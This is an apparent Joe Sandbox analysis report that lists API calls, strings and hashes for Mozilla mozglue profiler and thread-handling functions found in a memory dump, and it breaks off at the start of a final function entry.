Instruction ID: ca1f30e3cb02f40c2bc05c65d95414b3826a96dbf5f543749561a99ed58d6995
Opcode Fuzzy Hash: ef22db4590f22cb94a95d742569baee1e7659e3a877c602ebac6b78909d2a7db
Instruction Fuzzy Hash: D56106B064C384AFEB00AF64CC09BA97BB8FB4630CF09C558F5089B645D775A985CF61

Function 6CB0E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB07090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CB0B9F1,?), ref: 6CB07107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB0DCF5), ref: 6CB0E92D
GetCurrentThreadId.KERNEL32 ref: 6CB0EA4F
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EA5C
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EA80
GetCurrentThreadId.KERNEL32 ref: 6CB0EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CB0DCF5), ref: 6CB0EA92
GetCurrentThreadId.KERNEL32 ref: 6CB0EB11
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CB0EB3C
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EB5B

Part of subcall function 6CB05710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB0EB71), ref: 6CB057AB

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CB0EBAC

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

GetCurrentThreadId.KERNEL32 ref: 6CB0EBC1
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8,?,?,00000000), ref: 6CB0EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CB0EBE5
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8,00000000), ref: 6CB0EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0EC46
CloseHandle.KERNEL32(?), ref: 6CB0EC55
free.MOZGLUE(00000000), ref: 6CB0EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CB0EA9B
[I %d/%d] profiler_start, xrefs: 6CB0EBB4

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: d01932630bea6ffab9d26c64773bfaaf6a4de3520414375284263c730e0d21c0
Instruction ID: 1ce8ea140ef5cd90463c172149264bbd684397060f4c1e12872b92764627c8d9
Opcode Fuzzy Hash: d01932630bea6ffab9d26c64773bfaaf6a4de3520414375284263c730e0d21c0
Instruction Fuzzy Hash: 9CA16C317086848FDB10AF28D844B6E7BB5FF8631CF14C529EA5987B49DF709849CBA1

Function 6CB0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CB0F8F9

Part of subcall function 6CAD6390: GetCurrentThreadId.KERNEL32 ref: 6CAD63D0
Part of subcall function 6CAD6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CAD63DF
Part of subcall function 6CAD6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CAD640E

ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F93A
GetCurrentThreadId.KERNEL32 ref: 6CB0F98A
GetCurrentThreadId.KERNEL32 ref: 6CB0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F716

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

Part of subcall function 6CACB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CACB5E0

GetCurrentThreadId.KERNEL32 ref: 6CB0F739
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0F746
GetCurrentThreadId.KERNEL32 ref: 6CB0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CB4385B,00000002,?,?,?,?,?), ref: 6CB0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CB0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CB0F866
free.MOZGLUE(?), ref: 6CB0FA0C

Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD5E8C
Part of subcall function 6CAD5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5E9D
Part of subcall function 6CAD5E60: GetCurrentThreadId.KERNEL32 ref: 6CAD5EAB
Part of subcall function 6CAD5E60: GetCurrentThreadId.KERNEL32 ref: 6CAD5EB8
Part of subcall function 6CAD5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5ECF
Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CAD5F27
Part of subcall function 6CAD5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CAD5F47
Part of subcall function 6CAD5E60: GetCurrentProcess.KERNEL32 ref: 6CAD5F53
Part of subcall function 6CAD5E60: GetCurrentThread.KERNEL32 ref: 6CAD5F5C
Part of subcall function 6CAD5E60: GetCurrentProcess.KERNEL32 ref: 6CAD5F66
Part of subcall function 6CAD5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAD5F7E

free.MOZGLUE(?), ref: 6CB0F9C5
free.MOZGLUE(?), ref: 6CB0F9DA

Strings

[D %d/%d] profiler_register_thread(%s), xrefs: 6CB0F71F
" attempted to re-register as ", xrefs: 6CB0F858
Thread , xrefs: 6CB0F789
[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CB0F9A6

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: ff03443a8be01f67e87da3604d7d4af58a099735bea7c100d3e73e8052287390
Instruction ID: cdaed3a32971a9bd547f456ae0bc5f206d8e092159027a1c1bf342fcdc741896
Opcode Fuzzy Hash: ff03443a8be01f67e87da3604d7d4af58a099735bea7c100d3e73e8052287390
Instruction Fuzzy Hash: A081E271B086849FDB10DF24D840AAEBBB5FF85308F44856DE8499BB51EB31D849CB93

Function 6CB0EE40 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 166threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CAD4A68), ref: 6CB0945E
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB09470
Part of subcall function 6CB09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB09482
Part of subcall function 6CB09420: __Init_thread_footer.LIBCMT ref: 6CB0949F

GetCurrentThreadId.KERNEL32 ref: 6CB0EE60
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EE6D
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EE92
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CB0EEA5
CloseHandle.KERNEL32(?), ref: 6CB0EEB4
free.MOZGLUE(00000000), ref: 6CB0EEBB
GetCurrentThreadId.KERNEL32 ref: 6CB0EEC7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0EECF

Part of subcall function 6CB0DE60: GetCurrentThreadId.KERNEL32 ref: 6CB0DE73
Part of subcall function 6CB0DE60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6CAD4A68), ref: 6CB0DE7B
Part of subcall function 6CB0DE60: ?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6CAD4A68), ref: 6CB0DEB8
Part of subcall function 6CB0DE60: free.MOZGLUE(00000000,?,6CAD4A68), ref: 6CB0DEFE
Part of subcall function 6CB0DE60: ?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6CB0DF38

Part of subcall function 6CAFCBE8: GetCurrentProcess.KERNEL32(?,6CAC31A7), ref: 6CAFCBF1
Part of subcall function 6CAFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAC31A7), ref: 6CAFCBFA

GetCurrentThreadId.KERNEL32 ref: 6CB0EF1E
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EF2B
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EF59
GetCurrentThreadId.KERNEL32 ref: 6CB0EFB0
AcquireSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EFBD
ReleaseSRWLockExclusive.KERNEL32(6CB4F4B8), ref: 6CB0EFE1
GetCurrentThreadId.KERNEL32 ref: 6CB0EFF8
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB0F000

Part of subcall function 6CB094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB094EE
Part of subcall function 6CB094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB09508

?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB0F02F

Part of subcall function 6CB0F070: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB0F09B
Part of subcall function 6CB0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB0F0AC
Part of subcall function 6CB0F070: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB0F0BE

Strings

[I %d/%d] profiler_pause, xrefs: 6CB0F008
[I %d/%d] profiler_stop, xrefs: 6CB0EED7

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 9b1253108bb7ad728a36d1c826112f54a951bfee20a1cc78e411ab6b12fc8cf7
Instruction ID: 6a0456480317810f93d187342a3dc147b03ccae60b07796f83e26f326ab0dcf6
Opcode Fuzzy Hash: 9b1253108bb7ad728a36d1c826112f54a951bfee20a1cc78e411ab6b12fc8cf7
Instruction Fuzzy Hash: 3351F43570C6949FEF007B65D408BAE7BB4FB4636CF14C665EA6583B48DB704808C7A2

Function 6CAD5E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5E9D

Part of subcall function 6CAE5B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B85
Part of subcall function 6CAE5B50: EnterCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5B90
Part of subcall function 6CAE5B50: LeaveCriticalSection.KERNEL32(6CB4F688,?,?,?,6CAE56EE,?,00000001), ref: 6CAE5BD8
Part of subcall function 6CAE5B50: GetTickCount64.KERNEL32 ref: 6CAE5BE4

GetCurrentThreadId.KERNEL32 ref: 6CAD5EAB
GetCurrentThreadId.KERNEL32 ref: 6CAD5EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAD5ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6CAD6017

Part of subcall function 6CAC4310: moz_xmalloc.MOZGLUE(00000010,?,6CAC42D2), ref: 6CAC436A
Part of subcall function 6CAC4310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6CAC42D2), ref: 6CAC4387

moz_xmalloc.MOZGLUE(00000004), ref: 6CAD5F47
GetCurrentProcess.KERNEL32 ref: 6CAD5F53
GetCurrentThread.KERNEL32 ref: 6CAD5F5C
GetCurrentProcess.KERNEL32 ref: 6CAD5F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CAD5F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6CAD5F27

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD5E8C

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CAD55E1), ref: 6CAD60CC

Strings

GeckoMain, xrefs: 6CAD5ECE, 6CAD6015

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: c37d75445657f486e90c73b6604eb7b610e2b306d3e86a3c9d2664b85f48ac2e
Instruction ID: 0381f0152bb360fe8f8c8c42b7d51937f552b21ce1105928113bedd3bf001858
Opcode Fuzzy Hash: c37d75445657f486e90c73b6604eb7b610e2b306d3e86a3c9d2664b85f48ac2e
Instruction Fuzzy Hash: 8871D4B06087808FD700DF25C480A6ABBF0FF49308F54896DE5868BB52D730F988CB92

Function 6CAD9590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CAC31C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6CAC3217
Part of subcall function 6CAC31C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6CAC3236
Part of subcall function 6CAC31C0: FreeLibrary.KERNEL32 ref: 6CAC324B
Part of subcall function 6CAC31C0: __Init_thread_footer.LIBCMT ref: 6CAC3260
Part of subcall function 6CAC31C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6CAC327F
Part of subcall function 6CAC31C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CAC328E
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAC32AB
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CAC32D1
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CAC32E5
Part of subcall function 6CAC31C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CAC32F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6CAD9675
__Init_thread_footer.LIBCMT ref: 6CAD9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6CAD96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6CAD9707
__Init_thread_footer.LIBCMT ref: 6CAD971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6CAD97B7
FreeLibrary.KERNEL32 ref: 6CAD97D0
FreeLibrary.KERNEL32 ref: 6CAD97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6CAD9824

Strings

MapViewOfFileNuma2, xrefs: 6CAD97B1
NtMapViewOfSection, xrefs: 6CAD9701
ntdll.dll, xrefs: 6CAD96E3
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6CAD9670

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: f0ec33e3f1e910acba242a23a61e78b388f322268120f25fbb121596c43cf7e7
Instruction ID: 58748ab7e39080f2f387508e840ac2d7dcdff29f9d6748399f15b21889fd8b9f
Opcode Fuzzy Hash: f0ec33e3f1e910acba242a23a61e78b388f322268120f25fbb121596c43cf7e7
Instruction Fuzzy Hash: BA61F575608201AFDF00EF78DA94B9A7BB5FB4A318F05C529F91593B44DB34E884CB91

Function 6CAD7FD0 Relevance: 24.2, APIs: 16, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6CAD8007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6CAD801D

Part of subcall function 6CADCA10: malloc.MOZGLUE(?), ref: 6CADCA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6CAD802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6CAD803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6CAD808D

Part of subcall function 6CADCA10: mozalloc_abort.MOZGLUE(?), ref: 6CADCAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6CAD809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAD80DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD80FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6CAD8133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6CAD8149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6CAD8167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6CAD817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAD8199

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID:
API String ID: 2721933968-0
Opcode ID: a627ba9d9d2244886bf8e213b7a31fc3c851d21fdb7b7d2d19bb2016c334b04e
Instruction ID: 82eaf61ae9d0dbd459572700ce5d76f1d606186037748957bbacc2665953c0a1
Opcode Fuzzy Hash: a627ba9d9d2244886bf8e213b7a31fc3c851d21fdb7b7d2d19bb2016c334b04e
Instruction Fuzzy Hash: 7E5196B1E001549BDB00DFA9DC849EFB7B9EF49324F191225E815E7741E730A948CBE1

Function 6CB26660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6CB4F618), ref: 6CB26694
GetThreadId.KERNEL32(?), ref: 6CB266B1
GetCurrentThreadId.KERNEL32 ref: 6CB266B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CB266E1
EnterCriticalSection.KERNEL32(6CB4F618), ref: 6CB26734
GetCurrentProcess.KERNEL32 ref: 6CB2673A
LeaveCriticalSection.KERNEL32(6CB4F618), ref: 6CB2676C
GetCurrentThread.KERNEL32 ref: 6CB267FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6CB26868
RtlCaptureContext.NTDLL ref: 6CB2687F

Strings

WalkStack64, xrefs: 6CB26890

Memory Dump Source

Source File: 00000001.00000002.2671132838.000000006CAC1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000001.00000002.2671092779.000000006CAC0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671227797.000000006CB3D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671288957.000000006CB4E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2671335104.000000006CB52000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cac0000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: afdf557476f082f199f66c87baa6f4b651b0f78bf8f2220091e56fc2a7792393
Instruction ID: 29b8bb0b3c8898850993d9097a79f2f3d9700afb30e88f46f9298972649e2919
Opcode Fuzzy Hash: afdf557476f082f199f66c87baa6f4b651b0f78bf8f2220091e56fc2a7792393
Instruction Fuzzy Hash: D551AC71A09391AFD711DF24C844BAEBBF4FF89718F00892DF99887650D774A908CB92

Function 6CB0DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

